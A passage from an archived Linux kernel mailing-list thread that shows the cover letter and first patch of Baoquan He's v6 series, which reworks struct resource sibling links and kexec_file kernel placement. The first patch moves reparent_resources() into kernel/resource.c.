 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
 davem@davem
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 04 06:08:53 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1faZ64-0003yY-Ja
	for gln-linux-nvdimm@m.gmane.org; Wed, 04 Jul 2018 06:08:52 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 73A242096890C;
	Tue,  3 Jul 2018 21:11:03 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id D0380203BBB80
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue,  3 Jul 2018 21:11:01 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 229AE406AE3F;
 Wed,  4 Jul 2018 04:11:00 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id 1858C2026D76;
 Wed,  4 Jul 2018 04:10:40 +0000 (UTC)
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.5]); Wed, 04 Jul 2018 04:11:00 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.5]);
 Wed, 04 Jul 2018 04:11:00 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10603 gmane.linux.kernel:2810979 gmane.linux.drivers.devicetree:277707 gmane.linux.kernel.pci:73730 gmane.linux.kernel.input:61877 gmane.linux.ports.parisc:28713 gmane.linux.kernel.kexec:21073 gmane.linux.ports.ppc64.devel:159587
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10603>

This patchset is doing:
1) Replace struct resource's sibling list from singly linked list to
list_head. Clearing out those pointer operation within singly linked
list for better code readability.
2) Based on list_head replacement, add a new function
walk_system_ram_res_rev() which can does reversed iteration on
iomem_resource's siblings.
3) Change kexec_file loading to search system RAM top down for kernel
loadin, using walk_system_ram_res_rev().

Note:
This patchset only passed testing on  x86_64 arch with network
enabling. The thing we need pay attetion to is that a root resource's
child member need be initialized specifically with LIST_HEAD_INIT() if
statically defined or INIT_LIST_HEAD() for dynamically definition. Here
Just like we do for iomem_resource/ioport_resource, or the change in
get_pci_domain_busn_res().

v5:
http://lkml.kernel.org/r/20180612032831.29747-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

v4:
http://lkml.kernel.org/r/20180507063224.24229-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

v3:
http://lkml.kernel.org/r/20180419001848.3041-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

v2:
http://lkml.kernel.org/r/20180408024724.16812-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

v1:
http://lkml.kernel.org/r/20180322033722.9279-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org

Changelog:
v5->v6:
  Fix code style problems in reparent_resources() and use existing
  error codes, according to Andy's suggestion.

  Fix bugs test robot reported.
  
v4->v5:
  Add new patch 0001 to move duplicated reparent_resources() to
  kernel/resource.c to make it be shared by different ARCH-es.

  Fix several code bugs reported by test robot on ARCH powerpc and
  microblaze.
v3->v4:
  Fix several bugs test robot reported. Rewrite cover letter and patch
  log according to reviewer's comment.

v2->v3:
  Rename resource functions first_child() and sibling() to
  resource_first_chils() and resource_sibling(). Dan suggested this.

  Move resource_first_chils() and resource_sibling() to linux/ioport.h
  and make them as inline function. Rob suggested this. Accordingly add
  linux/list.h including in linux/ioport.h, please help review if this
  bring efficiency degradation or code redundancy.

  The change on struct resource {} bring two pointers of size increase,
  mention this in git log to make it more specifically, Rob suggested
  this.

v1->v2:
  Use list_head instead to link resource siblings. This is suggested by
  Andrew.

  Rewrite walk_system_ram_res_rev() after list_head is taken to link
  resouce siblings.



Baoquan He (4):
  resource: Move reparent_resources() to kernel/resource.c and make it
    public
  resource: Use list_head to link sibling resource
  resource: add walk_system_ram_res_rev()
  kexec_file: Load kernel at top of system RAM if required

 arch/arm/plat-samsung/pm-check.c            |   6 +-
 arch/microblaze/pci/pci-common.c            |  41 +----
 arch/powerpc/kernel/pci-common.c            |  39 +----
 arch/sparc/kernel/ioport.c                  |   2 +-
 arch/xtensa/include/asm/pci-bridge.h        |   4 +-
 drivers/eisa/eisa-bus.c                     |   2 +
 drivers/gpu/drm/drm_memory.c                |   3 +-
 drivers/gpu/drm/gma500/gtt.c                |   5 +-
 drivers/hv/vmbus_drv.c                      |  52 +++---
 drivers/input/joystick/iforce/iforce-main.c |   4 +-
 drivers/nvdimm/namespace_devs.c             |   6 +-
 drivers/nvdimm/nd.h                         |   5 +-
 drivers/of/address.c                        |   4 +-
 drivers/parisc/lba_pci.c                    |   4 +-
 drivers/pci/controller/vmd.c                |   8 +-
 drivers/pci/probe.c                         |   2 +
 drivers/pci/setup-bus.c                     |   2 +-
 include/linux/ioport.h                      |  21 ++-
 kernel/kexec_file.c                         |   2 +
 kernel/resource.c                           | 263 ++++++++++++++++++----------
 20 files changed, 248 insertions(+), 227 deletions(-)

-- 
2.13.6

From - Thu Nov 08 21:41:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: [PATCH v6 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Wed,  4 Jul 2018 12:10:35 +0800
Lines: 170
Approved: news@gmane.org
Message-ID: <20180704041038.8190-2-bhe@redhat.com>
References: <20180704041038.8190-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530677360 17370 195.159.176.226 (4 Jul 2018 04:09:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 04:09:20 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
 davem@davem
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 04 06:09:12 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1faZ6N-0004M1-Fz
	for gln-linux-nvdimm@m.gmane.org; Wed, 04 Jul 2018 06:09:11 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 966DA2097F567;
	Tue,  3 Jul 2018 21:11:22 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 9A016207E6349
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue,  3 Jul 2018 21:11:21 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 72FC5B798;
 Wed,  4 Jul 2018 04:11:20 +0000 (UTC)
Original-Received: from MiWiFi-R3L-srv.redhat.com (ovpn-8-16.pek2.redhat.com
 [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTP id BCE222026D76;
 Wed,  4 Jul 2018 04:11:00 +0000 (UTC)
In-Reply-To: <20180704041038.8190-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.1]); Wed, 04 Jul 2018 04:11:20 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.1]);
 Wed, 04 Jul 2018 04:11:20 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10604 gmane.linux.kernel:2810981 gmane.linux.drivers.devicetree:277708 gmane.linux.kernel.pci:73731 gmane.linux.kernel.input:61878 gmane.linux.ports.parisc:28714 gmane.linux.kernel.kexec:21074 gmane.linux.ports.ppc64.devel:159588
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10604>

reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
so that it's shared.

Signed-off-by: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
---
 arch/microblaze/pci/pci-common.c | 37 -------------------------------------
 arch/powerpc/kernel/pci-common.c | 35 -----------------------------------
 include/linux/ioport.h           |  1 +
 kernel/resource.c                | 39 +++++++++++++++++++++++++++++++++++++++
 4 files changed, 40 insertions(+), 72 deletions(-)

diff --git a/arch/microblaze/pci/pci-common.c b/arch/microblaze/pci/pci-common.c
index f34346d56095..7899bafab064 100644
--- a/arch/microblaze/pci/pci-common.c
+++ b/arch/microblaze/pci/pci-common.c
@@ -619,43 +619,6 @@ int pcibios_add_device(struct pci_dev *dev)
 EXPORT_SYMBOL(pcibios_add_device);
 
 /*
- * Reparent resource children of pr that conflict with res
- * under res, and make res replace those children.
- */
-static int __init reparent_resources(struct resource *parent,
-				     struct resource *res)
-{
-	struct resource *p, **pp;
-	struct resource **firstpp = NULL;
-
-	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
-		if (p->end < res->start)
-			continue;
-		if (res->end < p->start)
-			break;
-		if (p->start < res->start || p->end > res->end)
-			return -1;	/* not completely contained */
-		if (firstpp == NULL)
-			firstpp = pp;
-	}
-	if (firstpp == NULL)
-		return -1;	/* didn't find any conflicting entries? */
-	res->parent = parent;
-	res->child = *firstpp;
-	res->sibling = *pp;
-	*firstpp = res;
-	*pp = NULL;
-	for (p = res->child; p != NULL; p = p->sibling) {
-		p->parent = res;
-		pr_debug("PCI: Reparented %s [%llx..%llx] under %s\n",
-			 p->name,
-			 (unsigned long long)p->start,
-			 (unsigned long long)p->end, res->name);
-	}
-	return 0;
-}
-
-/*
  *  Handle resources of PCI devices.  If the world were perfect, we could
  *  just allocate all the resource regions and do nothing more.  It isn't.
  *  On the other hand, we cannot just re-allocate all devices, as it would
diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
index fe9733ffffaa..926035bb378d 100644
--- a/arch/powerpc/kernel/pci-common.c
+++ b/arch/powerpc/kernel/pci-common.c
@@ -1088,41 +1088,6 @@ resource_size_t pcibios_align_resource(void *data, const struct resource *res,
 EXPORT_SYMBOL(pcibios_align_resource);
 
 /*
- * Reparent resource children of pr that conflict with res
- * under res, and make res replace those children.
- */
-static int reparent_resources(struct resource *parent,
-				     struct resource *res)
-{
-	struct resource *p, **pp;
-	struct resource **firstpp = NULL;
-
-	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
-		if (p->end < res->start)
-			continue;
-		if (res->end < p->start)
-			break;
-		if (p->start < res->start || p->end > res->end)
-			return -1;	/* not completely contained */
-		if (firstpp == NULL)
-			firstpp = pp;
-	}
-	if (firstpp == NULL)
-		return -1;	/* didn't find any conflicting entries? */
-	res->parent = parent;
-	res->child = *firstpp;
-	res->sibling = *pp;
-	*firstpp = res;
-	*pp = NULL;
-	for (p = res->child; p != NULL; p = p->sibling) {
-		p->parent = res;
-		pr_debug("PCI: Reparented %s %pR under %s\n",
-			 p->name, p, res->name);
-	}
-	return 0;
-}
-
-/*
  *  Handle resources of PCI devices.  If the world were perfect, we could
  *  just allocate all the resource regions and do nothing more.  It isn't.
  *  On the other hand, we cannot just re-allocate all devices, as it would
diff --git a/include/linux/ioport.h b/include/linux/ioport.h
index da0ebaec25f0..dfdcd0bfe54e 100644
--- a/include/linux/ioport.h
+++ b/include/linux/ioport.h
@@ -192,6 +192,7 @@ extern int allocate_resource(struct resource *root, struct resource *new,
 struct resource *lookup_resource(struct resource *root, resource_size_t start);
 int adjust_resource(struct resource *res, resource_size_t start,
 		    resource_size_t size);
+int reparent_resources(struct resource *parent, struct resource *res);
 resource_size_t resource_alignment(struct resource *res);
 static inline resource_size_t resource_size(const struct resource *res)
 {
diff --git a/kernel/resource.c b/kernel/resource.c
index 30e1bc68503b..d1cbf4b50e17 100644
--- a/kernel/resource.c
+++ b/kernel/resource.c
@@ -983,6 +983,45 @@ int adjust_resource(struct resource *res, resource_size_t start,
 }
 EXPORT_SYMBOL(adjust_resource);
 
+/*
+ * reparent_resources - reparent resource children of parent that res covers
+ * @parent: parent resource descriptor
+ * @res: resource descriptor desired by caller
+ *
+ * Reparent resource children of 'parent' that conflict with 'res'
+ * under 'res', and make 'res' replace those children.
+ */
+int reparent_resources(struct resource *parent, struct resource *res)
+{
+	struct resource *p, **pp;
+	struct resource **firstpp = NULL;
+
+	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
+		if (p->end < res->start)
+			continue;
+		if (res->end < p->start)
+			break;
+		if (p->start < res->start || p->end > res->end)
+			return -ENOTSUPP;	/* not completely contained */
+		if (firstpp == NULL)
+			firstpp = pp;
+	}
+	if (firstpp == NULL)
+		return -ECANCELED; /* didn't find any conflicting entries? */
+	res->parent = parent;
+	res->child = *firstpp;
+	res->sibling = *pp;
+	*firstpp = res;
+	*pp = NULL;
+	for (p = res->child; p != NULL; p = p->sibling) {
+		p->parent = res;
+		pr_debug("PCI: Reparented %s %pR under %s\n",
+			 p->name, p, res->name);
+	}
+	return 0;
+}
+EXPORT_SYMBOL(reparent_resources);
+
 static void __init __reserve_region_with_split(struct resource *root,
 		resource_size_t start, resource_size_t end,
 		const char *name)
-- 
2.13.6

From - Thu Nov 08 21:41:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: [PATCH v6 2/4] resource: Use list_head to link sibling resource
Date: Wed,  4 Jul 2018 12:10:36 +0800
Lines: 567
Approved: news@gmane.org
Message-ID: <20180704041038.8190-3-bhe@redhat.com>
References: <20180704041038.8190-1-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1530677383 18859 195.159.176.226 (4 Jul 2018 04:09:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 04:09:43 +0000 (UTC)
Cc: brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, airlied-cv59FeDIM0c@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org,
 bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org,
 linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devel-tBiZLqfeLfOHmIFyCCdPziST3g8Odh+X@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
 davem@davem
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Jul 04 06:09:35 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1faZ6j-0004iC-MZ
	for gln-linux-nvdimm@m.gmane.org; Wed, 04 Jul 2018 06:09:34 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id BD89B2098C8BA;
	Tue,  3 Jul 2018 21:11:44 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id D424D207E6349
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue,  3 Jul 2018 21:11:42 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id AE514DFDC;
 Wed,  4 Jul 2018 04:11:41 +0000 (UTC)
